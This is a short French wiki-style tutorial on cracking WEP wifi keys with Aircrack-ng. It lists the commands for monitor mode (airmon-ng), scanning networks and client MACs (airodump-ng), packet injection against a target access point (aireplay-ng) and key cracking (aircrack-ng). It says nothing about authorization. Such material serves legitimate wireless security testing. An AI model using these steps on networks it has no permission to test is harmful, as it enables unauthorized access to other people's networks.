Aircrack-ng

== Installation ==
 apt-get install aircrack-ng

== Utilisation ==
=== Configurer son interface Wifi ===
Tout d'abord, il faut savoir quelle interface wifi on va pouvoir utiliser.
<pre>$ sudo airmon-ng
Interface	Chipset		Driver

wlan0		Unknown 	iwlagn - [phy0]
</pre>
Ici on a l'interface wlan0 qui est disponible, on va donc la monitorer pour récupérer les paquets qui circulent sur le wifi.
<pre>$ sudo airmon-ng start wlan0
Interface	Chipset		Driver

wlan0		Unknown 	iwlagn - [phy0]
				(monitor mode enabled on mon0)
</pre>
On a donc le monitor d'activé sur mon0.
Si on tape la commande ifconfig, on voit bien que l'on a une nouvelle interface réseau.

=== Airodump ===
Maintenant on va pouvoir commencer à scanner les réseaux wifi.
 sudo airodump-ng --write scan.log --channel 11 mon0
On est pas obliger de mettre l'argument channel, si il n'est pas mis il va scanner tous les réseaux.
--write indique que l'on souhaite enregistrer la capture, il est suivis du nom du fichier dans lequel on l'enregistre.

On récupère la liste des réseaux wifi des environs ainsi que les @MAC des bornes wifi.
Il faut regarder dans le bas des logs pour trouver des clients connectés à ces bornes et récupérer l'adresse MAC de ces clients.

Une fois que l'on a l'adresse MAC du client et la borne sur laquelle il est associé, on va pouvoir envoyer des paquets sur sa borne wifi à l'aide de son @MAC pour générer du traffic sur sa connexion et ainsi pouvoir déchiffer sa clé plus rapidement.

=== Aireplay ===
 sudo aireplay-ng -1 0 -e ESSID -a @_mac_AP -h @_mac_station interface 
 sudo aireplay-ng -3 -e ESSID -b @_mac_AP -h @_mac_station interface

=== Aircrack ===
Maintenant que l'on a lancer la capture et l'injection de paquets, on va pouvoir commencer à essayer de déchiffrer la clé wep.
 sudo aircrack-ng -x fichier_de_capture


Plus d'informations : http://www.tuto-fr.com/tutoriaux/tutorial-crack-wep-aircrack.php